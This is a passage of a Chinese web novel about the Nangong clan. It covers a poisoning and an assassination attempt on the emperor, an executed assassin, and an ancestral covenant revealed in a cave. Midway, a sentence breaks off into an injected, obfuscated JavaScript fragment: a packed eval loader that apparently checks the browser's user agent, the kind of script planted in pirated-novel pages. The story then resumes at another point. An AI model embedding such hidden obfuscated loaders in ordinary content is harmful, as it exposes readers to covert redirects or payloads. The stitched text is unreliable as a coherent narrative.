“您与世子,有同窗的情谊。纵然时移事易,可他不会是陛下的敌人。” 长丰终于吐了口气,虽然他的脸色还是不能释怀。阿志姑姑,以她非凡的智慧,平衡着屋内乱流。 事到如此,我们留在此处,只有尴尬。 长丰说:“没什么胃口。” 阿志劝道:“那吃些点心吧。让这几个女孩子,尝尝我的手艺。” 她带着青川,朱翼,还有我出来了。我松了口气,可以暂时离开那个窒息的地方。 “别担心。”阿志说出了我的心声,拍着朱翼的肩膀。 朱翼默然,缓缓而道:“只怕这次任性而为,会害了全家。” 青川道出心中疑惑:“小月,你为何不愿意呢?从你出生起,就知道会有这么一天。” 她目光凌然,咄咄逼人。毕竟阿志在侧,她不能说更多。可她的确在责怪朱翼。 我看出朱翼的后怕,就满不在乎地,朝着阿志姑姑说道:“陛下可以找更好的姑娘嘛。京都有许多名门望族。对不对?” 青川讥讽我,不知天高地厚。阿志姑姑拉起朱翼的手,一起将点心装盒。 朱翼很爱下厨,如今看见玲珑生香的糕点,并排林立,就有些爱不释手。他们三个交流起来,留我一个,空空站着。 “为何厨房会上锁?”我注意到门上有锁,并且只有阿志有钥匙。 “身在异地,小心为上。”她这样解释。 我们装了三个食盒,阿志提了一壶茶,从厨房陆续走出。迎面走来两个女侍。 阿志笑道:“正好有三位娇客帮忙,省了你们一趟差事。” 其中一个女侍说:“姑姑在陛下那里站了半日,幸苦了。让我们来吧。” 阿志婉拒了:“有贵客在,还是我领着好。” 另一个女侍说:“姑姑去厢房换双油靴吧,一会要下大雨。”她又朝我们三个福了福,“请三位小姐见谅。” 青川觉得有理,阿志便去厢房换鞋。我和朱翼提着食盒,走在后面。没一会儿,阿志就换好鞋出来。她和青川走在前面闲谈,我和朱翼依然跟在后面。 我们又走回竹屋,已经淅淅沥沥下起雨来。长丰在问小仓山上的事,而叔父则摇着竹扇。没了刚才的剑拔弩张,大家都很高兴。把桌椅摆好,阿志姑姑就仔细分着点心。 “好精致哦。”朱翼左右看着碧玉色的团糕,又嗅嗅,“是芝麻油。”她像小狗一样,浑然忘了刚才的事。 我看见陛下和叔父都启筷了,就拿起一个,啃了两口。 阿志笑道:“三小姐,慢点吃,还有一壶好茶。” 这时长丰说:“你幸苦了。我们吃东西,不用伺候。” 阿志姑姑捧着一壶菊花茶:“让奴婢为各位沏好茶。”菊花茶挺好,正好给大家降降火。 因为我坐在末尾,她最后走到我面前。我已经吃完半碟子茶果了,正想喝茶漱口,就捧着茶杯。 她刚蹲下,手里没抓稳陶壶,一壶水全倒在桌上。 只听“哐当”一声,那时,所有人只觉得,热水溅了我一身。 只有我看到,阿志姑姑嘴角流了血。 “三小姐,烫到你了吗?”她喘着气。 我扶着她,捋着她的胸口,哪知她突然喷出一口血,接着又是一口。 所有人都站了起来。 “陛下。”她环顾四周。这时长丰像箭一样冲过来。 她一把握住长丰的手,“陛下小心。我中毒了。” “中毒?”叔父立刻反应过来,他猛地望着桌上的糕点,紧张地问我们:“你们怎么样。” 我除了心脏扑扑直跳,没觉得异样。困惑之中他对视,他更迷茫。 长丰托着阿志的下巴,她依然不停地吐血。长丰带着愤恨的眼神,抬头对叔父说:“快找成安侯,过来护驾。” 青川慌乱中提醒:“还有医官,有没有带医官同行。” 阿志艰难地点头。 正当叔父领命而去,竹屋前后二门,突然各飞入一名白衣人,像白浪一样冲涌进来。白纱裹面,手持利剑,把叔父逼回屋中央。我尽量睁大眼,没错,这两人真的手持利剑,杀意跃现。 他们齐声说道:“雪巢地陵,问候恭王。” 叔父一脚踢翻面前矮凳,朝两名刺客飞去,回头喊道:“陛下快走。” 那两人全朝长丰攻去,长丰回身取剑,被人一剑劈开。叔父扛起一架屏风,朝他们摔去。 朱翼青川合力,把阿志拉到边上;我捅开纸窗,用火折子点了,只要这里有火光,南宫府的侍卫很快就到。 那二人很快注意到,一人提剑飞来。我毫无招架之力,只凭跑得快,一边大喊:“叔父救我。” 可是长丰与他都被刺客缠住了。幸亏朱翼机灵,见我迎面跑来,就领起茶炉,我一侧身,她就把一炉子煤火甩出去。 那白袍刺客躲闪不及,手上多处中伤。他提剑怒视,杀机顿显。 我和朱翼一左一右跑开,可惜竹屋太小,我被逼到角落。一回头,他提剑直面刺来。 朱翼大喊:“小冰,当心。” 我见周围没有可抵挡之物,情急之下伸手挡剑,心想这下手要没了。哪知那刺客手势一弯,没有朝我胸前刺来,却在手臂上拉了一个大口子。终于叔父摆脱纠缠,一个箭步扑过来,把我抱走。 青川见势想跑出屋,哪知四面八方又涌进来四人。她被逼回屋内,一人扬剑,重重划在她的右腿上。 我大骇,我们被里外包围了两层。叔父看到青川伤势不轻,顿时杀红了眼,他一手捏着刺客的脖子,直接捏得他断气。他提起对方的剑,与长丰并肩而立,面对无尽的杀意。 “看来今天,不是你死,就是我亡。” 长丰面如寒冰。 “就凭他们几个。” 那些白衣人微顿,收步提臂,再次摆好攻势。 我心中恍然,刚才吃茶的情景还在眼前,可是转眼刀光血影。那些白袍刺客训练有素,他们一定会杀掉叔父的,不对,他们要杀的是陛下。 果然,刺客毫不留情,挡开叔父,剑指天子。而叔父挣开围攻,执意为长丰挡开刀剑。 青川痛得呜咽;我抹去泪水,往窗口偷偷爬去,一定要跑出去。 立刻有人发现了我,身后飞来一把剑。我回头,刀锋离我几寸之地,心想今日真要命丧于此。可是剑锋只到发丝,就被打掉了。两面窗户突然四分五裂,井生翻身进来,满身雨水与汗水,大喊:“三小姐,我来了。” 我抓到救星,知道其他人都来了。不止南宫府的人,还有成安侯的叫声,响彻天际。 刺客闻声,竟然整齐撤退,竹屋临湖,他们分别朝湖水投去。井生试图抓到活口,可那些白衣人,撤退比进攻更有章法。每人松开腰间锦囊,顿时一股恶臭,令人晕厥作呕。等井生捂鼻冲到河边,所有人已经沉入湖中。 长丰大发雷霆,成安侯刚从门口现身,他就迎面甩了他一巴掌。 “是你吧,伙同那些下三滥,要我的命。” 成安侯匍匐在地,死死抱着长丰的腿,任他肆意殴打。 “陛下息怒,陛下冷静。” 长丰一脚蹬开他,回身抽剑。 “好,先杀了你,我再冷静。” 叔父一同跪下:“陛下冷静。” 成安侯紧抿双唇,双手握拳,不止颤抖。 “老臣渎职,死不足惜。” 长丰眯起双眼:“王善香,不要推 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“陛下,如果愿意再信臣一次。臣有一个地方,绝对隐秘。” 他在图上画出离此处二十离外的,一座别院。 “这是小儿王珒,刚征来的地方。除了我们父子外,还未告诉第三人。只是屋子有些简陋,没有打扫过。” 叔父皱起眉,大概他不喜欢这类阴暗未知的地方。 “还是去小仓山吧,那里的守卫有几十号人,太医尤七也在。陛下可以去信羽林卫,让他们来接你。” 成安侯反对。 “如今许多人知道,陛下与你全家在一起。小仓山,密林小路太多,不容易防卫。” 长丰沉默片刻,指着地图。 “带上南宫府的侍卫,去这里。” 他回头,对成安侯说:“至于你的人…” 后者说道:“他们不会知道。陛下放心。” 叔父无奈接受。他担心青川的伤势,那一刀只怕伤了筋脉,可是随行的医官只善于内症。另外,阿志的毒,也需要对症下药。 我们在瓢泼大雨中上了马车。阿志姑姑的上半身枕在我的腿上,中途她醒过几次,得知陛下安然无恙,才放心睡去。青川靠着朱翼的肩膀,她的右腿流了很多血,时不时会抽搐几下。 除了十岁那年从大火中逃生,我还未遇到过这样的事。而朱翼,她的脸庞泪水未干,直盯着前方的马车,带着怨恨与委屈。她的泪水是为青川流的,也是为阿志和我,更是为了马车里的父亲。朱翼从小就不喜欢皇室,因为与皇权沾边,就会带来不幸。 我在阴沉的雨雾里,望着前方的马车,体会她的心情。青川说,阿志换鞋的时候,喝了一口茶,一定是这样中毒了。阿志说,那两个女侍,受她栽培多年,为何要如此做。 马车上有个七彩绣囊的挂饰,随着颠簸不停旋转,七色连城一片。我盯着绣囊,没一会儿,井生告诉我们,已经到了。 我想起这是王珒征来的地,就问成安侯:“小叔叔呢?” 成安侯只身一人,亲自护送我们一行。 “有些公事料理,他昨晚就走了。早知道今日有此大祸,不应该放他先行。” 我们陆续进屋,此时雨已停,天色近黄昏。叔父总共带了十人护卫,他做了一番布置,尔后在主屋内生火。我们在雨中行路半日,全身都是水气,于是聚拢在火堆旁。 成安侯马不停蹄,按照医官的方子,出去寻药。阿志与青川睡在里屋,青川伤在腿内侧,朱翼按照叔父的指示,检查她的伤势。 落日之后,成安侯回来了。他带了一位民间医师,还有一个女子。 “大夫专治外伤,军中常用他;这是他女儿,方便给小姐们验伤。”他是粗人,但也细心。 果然青川伤了筋脉,小腿那刀很深。她紧张问:“我会不会…” 叔父说:“青儿,你还记得么。那年甘州兵败,后来皇后仙逝;直到庆禧十三年,雍州大火。我们都一路走过。你会没事的。只不过,腿上有点伤。” 青川是高傲的,也是倔强的。她点头:“对,我不会哭的。”接着,就泪如雨下。 而阿志更严重。医官已煎煮了解毒药,可她无法吞咽。成安侯知道,阿志姑姑对于长丰而言,非常重要,所以带来整车药材。 医官面对长丰禀告,要知道何种毒药,方可对症下药,如今只是延缓毒性。 我立刻说:“严刑拷打,那两个女人。” 成安侯也立刻回禀长丰:“老臣,已经派人拘禁了。” 我与他争论:“侯爷,在你军中,是敌是友都难以辨清。请把那两个女侍,交给我们。” 成安侯有些意外,而我有些凶神恶煞。 “非常时刻,想要救人,就不能手软。”我说。 成安侯走到我面前,倨傲俯视。 “三小姐,老夫从不手软。” 我不信他能问出来。看着青川和阿志,越来越生气。 叔父提醒成安侯:“侯爷,切不可让她们死了。不如,你亲自回去审问。” 这时阿志醒了,长丰不理会我们争吵,吩咐医官再去煮药。阿志姑姑听到了争论,喘息之间,竟然对长丰说:“陛下放心,我没有事。请…请不要为难其他人,这是积德。” 她说积德的时候,眼神很痛苦。当然这不是为她自己积德。 而我被拖到一边,女医检查着我手臂的伤势。 “有烫伤,也有刀伤。不过不严重。大同医馆的金疮药,药到病除。” 听见如此说,我就看着她涂抹。这时朱翼走过来,也挨着我坐着。 她说:“幸好,没有伤到性命。阿志姑姑所需一剂乌风草,也在医官里找到了。” 没错,我们能够全身而退,没有伤到性命。不幸中万幸。 我只是伤了手,而青川的腿被划伤了。想到此处,心中反而困惑。当然,那些刺客的目标不是我们,而是陛下。可是… 可是,为什么要给阿志下毒呢?因为他们无法给陛下下毒,阿志把厨房锁住,并且出入谨慎。 这时女医让我放松,她说我太紧张了。 朱翼用手蘸了药膏,放到鼻头闻闻。 “清凉之味,不臭。” 胡说,我明明闻到一股臭味。 捡起思绪,刺客的目标就是陛下。可是,在竹屋里没有成功。也许成安侯的府兵中有内应,但毕竟重兵把守,不能确保一击即中。 我的手给包裹好了,的确是跌打药的味道。那股刺鼻臭味,是女医带来的。 我恍然大悟;而那名女医,正朝长丰和阿志的方向走去。 “陛下当心,她也是刺客。”我瞬间跳起来,大声喊叫。 此刻成安侯不在,叔父也不见了。 那女医亮出匕首,面对长丰,凌然而述:“雪巢地陵,问候恭王。” 她举起匕首,在暗色的屋内闪过一道白光。 朱翼尖叫道:“他们又来了。” 而此刻,叔父从横梁一跃而下,挥剑朝女医砍去。那个女人的面纱掉落,火光中,我看到一张伤心欲绝的脸。她与长丰近在咫尺,又被叔父挡开了。井生是擒拿高手,三下过招,就拧住了她的双臂。 长丰拿出藏在袖中短剑,轻松架在女人的脖子上。 “阴魂不散。”他冷冷吐字。 那女人抬起头:“雪巢的幽灵,不会放过你。” 长丰不以为意:“孤家奉皇兄遗诏,得位名正言顺。尔等鼓噪人心,喧议皇权,以图私欲,根本不知忠良为何物。杀了你们,好让你们去地下问问祖宗,这样该是不该?” 他转过剑锋,那女人却笑起来。 “雪巢流过的血,就是陛下的功德注。上古有云,德不配位者,可取而代之。” 我注意到,叔父的眉头微皱,他原来要阻止长丰的利刃。 长丰没有迟疑,朝鲜活的脖颈,奋力一挥。他连我们闭眼的时间都不给。 那颗头颅朝我飞来,咕噜咕噜,滚到面前。那个女人的两眼未合上,依然满是忧伤。 我怔怔望着叔父,还有血淋淋的长丰。 朱翼是对的,南宫世家,应该远离皇室。 12. 南宫世家(六) 我们又回到小仓山。小仓山还是那么宁静,至少表面看来是这样。 送走了门客,战事已停,他们可以去投奔新主。而从雍州赶来很多家仆,因为在今年结束前,我们都要搬回雍州主宅。夏天刚结束,打包装箱就有序进行着。 从皇城京都,不时有信函来往。长丰的书信,是由羽林卫专辖的驿使送来;而收到更多的,是家族亲戚的问候。几年前的伤痛已经过去,如今新皇御政,需要叔父,需要世家子弟们,融合在一起辅佐。 晚间,叔父读着绵水夫人的信。 “少全,这么多年了,你还躲在深山里。你忘了姑母,也忘了雍州的雪。我老了,想吃菱角,又剥不动,只好眼睁睁看着别人享受嚼用,心里难受一场。你快回来吧。带些小仓的野鸭子回来。 小月如何了?她的小手总是热乎乎的,我想念得紧。 你们快些回来吧。东儿去了书塾后,家里很冷清。我和春儿老是吵架,所以她也不来看我了。 你们快些回来吧。” 朱翼两眼望天:“这个老太太…阿爹别去,她一定要骂你。” 尔后叔父开始读娄夫人的信。 “兄长,展信安。听闻今上御驾南行,是否与你会面。京中情势复杂,请尽快北上商议。雍州住宅已着手重建,我命阿博过去监工,一应细节他都会报知你我,不用担心。柱郎已在前桥阁提及银钱花销一事,可与重建七宫合议,所以银钱一事,你也不用担心。 小月一切安好?我们许久未见了。姣姣一直很想念舅父。 另柱郎询问何时重开汉章院,阿博和怀东都在我家读书,虽然未敢懈怠,总不及本家严谨治学。 请兄长尽快回来,代柱郎问安。” 我好奇道:“原来叔父还有一个妹妹。” 朱翼摆摆手:“不亲。是个随风摇摆的精致人儿。” 叔父用眼神制止她的胡言,她就笑嘻嘻的,越说越起劲,把三姑六婆的来信都评论了一番。 看来他们父女关系,亲昵了很多,在叔父拒绝了那桩婚事之后。虽然,这不是这件婚事的最终结局,但足以缓和他们的关系。 很快天气凉爽了,我和朱翼暂时忘了这个夏天的血腥气。游走在金黄落叶的林间小道,那也许是最后一个安宁的秋天。长丰回到京都后,明发诏书,召回汉章院主政司南宫简,严令冬天之前完成重建。这是我们匆忙搬家的原因。 “不知道瀑布后面,是怎样的风景。”我凝望倾泄的水流,岩石壁黑黢黢的。 朱翼的注意力不在瀑布上,她说青川走了许久,山上的小院没人打扫,想上去看看。 “你想干什么?”我警觉起来。 朱翼执意拉起我的手,朝破旧的青石板一路往上。我不愿意去,就扭捏说着:“管家会带人上去整理的,我们不要添乱了。”此时朱翼却臂力惊人,拽着我的手臂,一路拖出几十米远。 好吧,有些东西,我们需要亲手收拾。我爬得很高,伸长脖子在找画轴后的挂钩。终于找到了,没成想这幅画太重,手持不稳,连人带画一起跌落下来。 我们在案几上叠了圈椅,我直接磕在硬木头上,痛得掉眼泪。 朱翼捏着我的肩头:“忍住忍住,别惊动了人。” 我的下唇流血了,不会牙也断了吧。 朱翼捡起画卷,画卷从中间撕开了。好了,这下她得偿所愿。 “怎么办?”她着急问道,假惺惺的。 我痛死了,嘴上肿了一片,懒得理她。 这样自然瞒不过叔父了。我俩跪在他面前,朱翼装成惊慌的小兔子,而我捂着嘴,噙着泪,也试图博取同情。 叔父没有看那撕开的画纸,对我说:“小冰,这些月山上忙乱,你去佑珍那里,住一阵子。” 我张着嘴,他是认真的麽? “损坏皇后画像。小月,你是始作俑者,罚戒尺二十下,然后在自己屋内,禁闭一月。” 他是认真的,并且冷若冰霜。我连忙抱住他的腿:“叔父,我错了。不要赶我走。” 而朱翼,不再装成惊慌的兔子,她听了裁决,慢慢地冷冷地笑了一声。她把手伸了出来,仿佛在说:那你打吧。 可是叔父不理会她的置气,平静说道:“按照家规,去祠堂,让掌事姑姑打。” 朱翼的下颌收紧,头抬得老高。我想从小到大,没人敢弹她一根头发吧。 “记得,每打一下,都要和先皇后认错。”这位老父亲,真的要这样对女儿麽? 朱翼被一枚利刃,戳到了要害,大喊大叫:“我没有错,为什么要认错?为什么?” 她穿了一袭红裙,眼睛红了,脸也气红了,气得直跺脚。 与朱翼的气急败坏相比,叔父真是太冷淡了。他啜着浓茶,把茶盖合上,从不让一丝温热之气流露。我终于明白朱翼内心隐秘的郁结,因为这样的冷淡太伤人。 老管家把一切都怪到我头上,为什么不喊他来帮忙卸画呢,更何况山庄里来了这么多家丁。如今害得大小姐受罚,大小姐跑到山里去了,已经一天一夜不见人影。他觉得不能放我下山,说不定是我和大小姐串谋,故意躲起来。 他絮絮叨叨的,而朱翼真的不见了,叔父不闻不问,我就磨磨蹭蹭不肯下山。这几天,白天跟着大伙儿出去找人,晚上呼呼大睡。我才不要去佑珍那儿呢,能拖一天是一天。 第二天吃完早饭,照例偷偷藏了好些馒头,蹑手蹑脚刚要走,突然听见叔父说:“小冰,你怎么还在这里?” 我整理好情绪,卑微说道:“还在打包裹,很多东西要带上,那里又没我的行头。” 叔父微微笑道:“我让你去受罚,不是让你去做客。” “恩,可是也不知道,要罚多久。”故意做出可怜巴巴的样子。 “小月罚多久,你就罚多久。”他沉声说:“到了那里,每日听经抄书,你若松懈,会有人告诉我。” 可是在山上也能这样,我更委屈了。 “你不想念姐姐麽?她们是你的至亲。”叔父又说,“今后就要搬到雍州了,趁此机会,你们姐妹好好相处几日。” 原来是这样,我松口气。 他立刻警告:“我已写信给佑珍。此次你要静心思过,静下心来,才能看清自己的冒失。” 我连忙点头,静下心来,再也不参合你们父女怄气了。 我们一直住在小仓山的南面,而北面山势陡峭人迹罕至。其实绕过瀑布有条小路,可以拐到山北面,然后顺势而下。很少有人知道,那是我自己发现的。每日早晨,井生要参加晨练,所以我独自一人跑出来。 我沿着丛林小路,绕道瀑布背面,那里有一间废弃鸽房。老人家的眼光果然很准,朱翼就是和我串通一气,她故意躲在这里。 “怎么样?阿爹有没有出来找我?”她藏了几天,头发毛茸茸的。 “没有啊。”我如实相告。 “他不着急麽?也不问起我?” “没有啊。” “哼…”又气得跺脚。 我把吃的递给她,怕她绝食。 “明天我就要被遣下山了,你还有什么招数,要抓紧哦。” 她气呼呼的,像只呲牙咧嘴的松鼠。 “爹爹,根本不在乎我。” 这么说可不公平,他对你是没有原则的溺爱。比起我来或者其他人来说,他对你从来不提任何要求。 可是她注视着我的眼睛。 “小冰,有时候我很羡慕你呢。甚至嫉妒你。” 她躲了几天,神智错乱了。 “想知道为什么?”她略带敌意。 不想知道,转身离开,身后的草丛被人扒开,井生的大脸露出来。 我吓得一蹦三尺远,随后叔父从他身后出现。他们俩一定是跟着我,发现了瀑布后的小路。井生东张西望,对这里很好奇。可是叔父,他带着略微惊讶的表情,看着我和朱翼。 朱翼只愣了片刻,就扑到亲爹怀里。 “阿爹,我可想你了。都是小冰…”她指着我,“小冰让我躲在这儿,说那样可以让你着急。” “哦…”叔父展望这片荒地,手掌托起已齐腰的杂草,“这里是小冰发现的?” 我也指着她,这些都是小月的主意。 她一脸无辜:“是她领我到这里的。” 的确是这样,现在轮到我呲牙咧嘴了,恶狠狠地瞪她。 叔父站在转角纵深的石壁台阶处,凝望那条通往山脚的崎岖小路,那条路被湮没得很模糊了,可是依然看得清它的走向。 “小冰,你怎么发现这里的?”他认真问道。 我喜欢在山间闲逛,随便走走,就发现了。 这时迎面送风,林子里红叶都扑腾扑腾起伏,俯瞰挺壮观的,原来山的另一侧也有风景。 叔父朝天空吸了一口气,感怀而道:“还记得麽,我曾说过,小仓是我们的故乡。” 我记得,我一直认为雍州是故乡,而我的故乡在乌潭。看来叔父的理解,不是这样的。 “小冰,你走下去过没有?”他问。 我摇头,山的北面没有人烟,山脚一定荒凉。 “今天,我带你们走下去看看。”他一路跟踪我到这里,没有带爬山的工具,回头吩咐井生去取。 朱翼似乎预感了什么,撒娇说:“阿爹,我们回去吧,我都饿死了。” “也许是先祖的召唤,让你们自己走过来。”他细细擦拭着朱翼脸上的灰尘,“有些事情,我想亲口告诉你。” 他的声音怀揣着歉意,而朱翼的明眸太纯真,使他的歉意更深。 他牵起她的手,另一只手给我。走进那条小路,他突然回头,想对我说什么,可是没有说出口。 叔父,没必要对我心怀愧疚,无论山下有什么,我都不在乎。 井生带来了厚靴和手套,他在前面开路,为我们斩去荆棘野草。我们走了很久很久的路,水都喝光了。原来山脚不是终点,沿着下坡路,居然有一个洞穴。那个洞穴真深,门洞是一个半月形,被人曾经开凿过。我在小仓山住了五年,从没想到会有这样的地方。 叔父对井生说:“你在门口等。”然后接过几具火把,石壁上的烛台竟然还残留着油,没一会洞内就明亮了。 我和朱翼环顾四周,就是普通的石洞,没什么引人担心的,只有中间用石板铺了一条直路,很久无人踏至,都长着毛毛的青苔。叔父指引前方:“还要往里走一段。” 里面反倒没洞口处那么潮湿,看来山上的流水不从这里经过。我心想,这里这么隐秘,可能是南宫氏避难的地方。 我把猜想问出来了。这时前方突然有了阳光,朱翼好奇跑过去,抬头一看,头顶上真的有束光,从石壁的隙缝中斜射而入。 朱翼一直抬着头,大概觉得石壁参差错落而生出的这个缝隙很奇巧。而在光束的提醒下,我看见石洞的四壁居然被人篆刻了图案。再走近一些,也许年代久远,这些图案不清楚了,可是真的有人,在空旷平整的四壁上留下了痕迹。 有一个长袍束身的男子,他坐在案几前抚琴。他的面容并不清楚,只是一副肆意的姿态,十指纤纤勾着琴弦,一只脚盘在身下,另一只居然横着叉在外面,如果我没看错的话,那只脚是光着的。 看来是个公子哥儿。而另一个男人则不同,虽然他的面容也模糊,可是英气勃勃,身姿挺拔,他的右手有把铁枪,那铁枪被勾勒得十分显眼,它让整幅图有鲜活跃动的感觉。 “他们是谁?”朱翼走到我身后,看了一会,又掉转头问叔父。 叔父说:“有一个,是南宫世家的始祖爷爷。你们猜猜,是哪一个?” 我俩都不喜欢这种小孩式的盲猜,于是叔父就注目着第一个男子。 “先祖至美是金雀王朝的一脉分支,常年驻守南宫郡。王朝末年,因为当时的君王受人蛊惑,食用幼童的心脏以保延年益寿,所以犯了众怒。当时至美脱离皇室,以南宫为姓氏,独立称王,与金雀王朝隔江对望,打得难解难分。” 我瞧着石壁上的男人,他不像很能打战的样子。 “至美有一名得力的家奴,能征善战,通晓谋略。最后,覆灭了金雀王朝。” 朱翼问:“是旁边那个男人麽?” 叔父点点头:“他叫子炎,因为生于烈火之间。这场仗打了十年,子炎积累了很高的威望。而当时,人们痛恨带着旧朝血液的人,于是子炎就取代了至美,做了新王朝的主人。” 朱翼愕然:“阿爹,你是说…” “子炎感恩至美的提携与谦让,于是提出两人的后辈可以世代联姻,共治王朝。而至美,为了回报这个馈赠,命令家族的男子世代不可入朝。双方达成协议,为了不再兴起战事,子炎以铁麒麟为徽,建立了新的王朝。” 原来,联姻是这样来的。从来不是什么美好的缘分,而是权力的分割。 “可是,可是从来没有人知道这些事。”我困惑,父亲从来没有说过。 “那是几百年前的事。”叔父解释,“这个故事,也是我的父亲说给我听的。当家族的继承人确定时,族长就会把这些事流传下去。” 石壁上那个潇洒不羁的男子,他真的为了人间正道,举刀对抗家族麽?到了最后又把宝座相让,他是怀着怎样的心情。他是被逼无奈的麽,起初一个单纯的愿望,到达了大火熊熊燃烧之际,他已无力掌握。他该怎么面对,与自己血出同源的亲族呢。 “那金雀王朝的其他人呢?”我好奇问道。 “皇城攻破那日,所有人都被绑在铁柱上烧死了。没有其他人了。” 什么叫所有人?我皱起眉头。 而叔父说的所有人,就是字面上的意思。君王的宝座,从来都浸满鲜血。而因为至美的关系,南宫氏才逃过一劫。 小月,这个故事还是没人知道的好。 朱翼却抬起头,目光烁烁:“那么,姑母也知道这个事咯?” 叔父没想到她会问这个。 “当然知道,她封后的前一天,父亲就告诉她了。” 朱翼还有问题,却没启齿。 叔父接着说:“可惜,那时我不知道。那些年我混迹三教九流,父亲很不满意,不认我作继承人。” “小月,你撕了姑母的画像,我没有生气,只是惋惜。”他看着缝隙间的明亮,“我制画像的时候,正是她最开心的岁月。她嫁给了太子,可以摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那时,先祖至美与子炎依然是同盟关系。因为婆娑教在中原扎根深广,他们所言所行,都有很多人跟随。所以,子炎若要反败为胜,就必须根除他们。而先祖,接过了这个任务。不知道他们在石室中,究竟密谈了什么。结果就是,先祖至美披上了南宫氏的战袍,让婆娑教几万众人,在中原绝迹。” 在中原绝迹。予我良善,育我苍生。那年我曾搜寻婆娑人的线索,结果只找到零碎的痕迹。 朱翼看着我,仿佛也看着自己,悲戚说道:“所以,我们世代也必须偿还。阿爹,我不想听了。” 她的心不能接受这样的故事;而我呢,其实我也一样脆弱,也不想听了。 “小冰,你没有问题麽?”叔父问我。 坐在石墩子上的那两个人,也在等待。 “如果先祖爷爷愿意身染几万人的血,为他清除异己;那么另一个人,他需要做什么?” 你用什么交换?面对身披战袍,为你稳固江山的盟友。 叔父把手伸到石桌下面,原来那里有个机关,他轻轻拧了一下,石桌中间的方形部分就弹出来了。 我很惊讶,而朱翼在冷笑。 “又是什么恶心的东西?” 那块石碑被翻转过来,第一排的几个字是“天佑铁券,告之日月山河”。 叔父说:“大概这两位老人家觉得,日月山河,是亘古不变的东西,所以立在首位。” 抹开石碑上的泥垢,我读出内容。 “南宫郡子炎,得天地庇佑,受主至美恩惠,开朝于天佑元年。子炎心系黎民苍生,志在江山社稷。与至美同袍浴血,万世阴阳共治。吾及子孙后辈,必厚以德行,勤以操业,克以私欲,矢志不渝。吾于此立誓,由至美为证。凡未来继任者,当效仿吾志。若有德不配位…” 我突然想起了什么,抬头望了叔父一眼。 “若有德不配位,才不能济世者,南宫氏后人可凭此书,选贤能者取而代之。” 朱翼拿过去,又重新读了一遍。 石碑左侧,雕刻了铁麒麟王朝的徽章;还有一枚子炎的私人章戳,印章上除了他的名字,还刻了一把铁枪,和石壁上一模一样。 那时,我与朱翼都不知如何回应这面碑文。他做出的承诺,实在匪夷所思。 叔父却又将话题回到嘉宁皇后:“那时,云罗封后不久,父亲就将此事告之。她知道后,非常害怕,连夜书信给我。我不相信此事,去找父亲对质。父亲震怒之下,打断我的双手。我被关在暗室三个月,出来后,立刻赶到这里,找到这面石碑,才终于相信。” “从此云罗郁郁不乐。而我,不想再看到父亲,所以离开了雍州。”他满含愧疚,执起朱翼的双手,“离开了家,忽视你的母亲,也忽视了你。阿爹,一直很内疚。” 可是朱翼挣脱了双手,又重新抚弄着碑面上的文字。她知道她的姑母从来不幸福,却不知道这份不幸包含了更多的东西。 “那么,皇姑父,也知道这事麽?”她饱含深情的大眼,突然锐利地猜度,也许以往看到的一切,都不是真的。 叔父回答:“知道,万世共治。这件事在储君成年时,就会告诉他。” 于是她沉默了。 “那么,他们…”我太好奇了,他们是如何自处,和相处的。 而叔父淡而无味地陈述:“先帝是个宽厚的人。” 于是我只能沉默了。 所以,叔父拒绝了长丰的请求,还有这个原因吧。我突然想到。还有,他为何将这些事,也告诉我呢? 对了,长丰没有做过储君,他是在先帝逝世后才回来的,他应该不知道。 我探视着叔父的双眼,而他温柔地对我们说:“放心,如今的陛下,他并不知道这些。” “我已遵循祖训,将这件事告之了我的孩子们。将来如何,万事随缘。如果陛下,愿意后退一步,”他带着微弱的深刻的祈求,“如果师弟手下留情,那么这桩捆绑几百年的契约,就此作废。” 朱翼盈盈大眼含着热泪,她把头埋在父亲的胸膛,很久很久。她用滚烫的热泪,和悲切的哭声,让这间石室温暖了许多。 “小冰,”她哭到一半,突然想起什么,回头找我,“把那块石碑砸了。” 好啊,我正有此意。徒手不行,要找把大锤。 叔父却制止了我。 “当时这张铁券,一共制了两块。” 我紧张起来:“那还有一块呢?” “另一块在皇陵,随着君主子炎长眠。不过,我没有亲眼看到过。” 这位老人家真是执着,这种东西,还抱着睡觉。 叔父站起来,把石碑反扣回石桌。 “天色已暗,我们要回去了。”他一手拉一个,准备结束这趟旅程。 这样可以麽?我和朱翼满心不安,不停地回头看,觉得他的行径有点虎头蛇尾。 他自顾自地说:“回去后,你们要诚心悔过,向姑母道歉。她留存于世上的东西不多,那张画像,是她的心爱之物。” 是你的心爱之物吧。果然,朱翼又变了脸色。 13. 南宫世家(七) 佑珍家总是闹哄哄的。她领着我在卢府上下行走,认了很多亲戚。那些脸蛋粉嫩粉嫩,穿着红黄碎花衣裳的妇人们都不停夸我。我忘记她们具体说了什么,因为她们太能说了。这个家真的好热闹。几个孩子跑来跑去,他们抢东西,相互打架,接着又一起挨骂。女人们也总是聚在一起,说话也和打架一样,把相同的事说上好几遍。 所以,这个地方不能有秘密。我刚到的几天,就接受了姐夫的盘问。 “这次陛下悄然南下,应该与世伯见过面了吧?” 我点头,他带着全家一起拜见的。 佑珍激动不已,我来了好几天,每天和她一起吃喝,竟然没有告诉她。 “陛下也就那样啊,凶起来,可要杀人的。”我实话实说。 她一手拍过来:“这个傻孩子。” “那么,小月也一起去了?陛下问了些什么?”她又问。 我发觉他们都存着那个指望,或者,都有某个共识。 “陛下只和叔父说话。小月一直和我待在一起。” 佑珍有点不相信,而她的夫婿又说话了。 “陛下是不是玉体受损了?听闻回宫后,召见了许多医官。” 我抬起头,一片纯然:“我们拜见的那日,他挺好的。叔父还和他比划拳脚功夫呢。” 他不信。 “那成安侯呢?他怎么被解了职,还销声匿迹了?” “王爷爷麽?”我故意细嚼慢咽,品尝白米饭,“我没见到他。不过他高升那会儿也挺突然,所以不用奇怪。” 佑珍的夫婿,人人叫他卢文七,是个耿直的男子。他从不掩饰自己的情绪,也不喜欢别人掩饰。他发觉我有所隐瞒,就不高兴起来。 佑珍劝道:“她一个女娃娃,知道什么。你吃饱了酒,同孩子计较。” 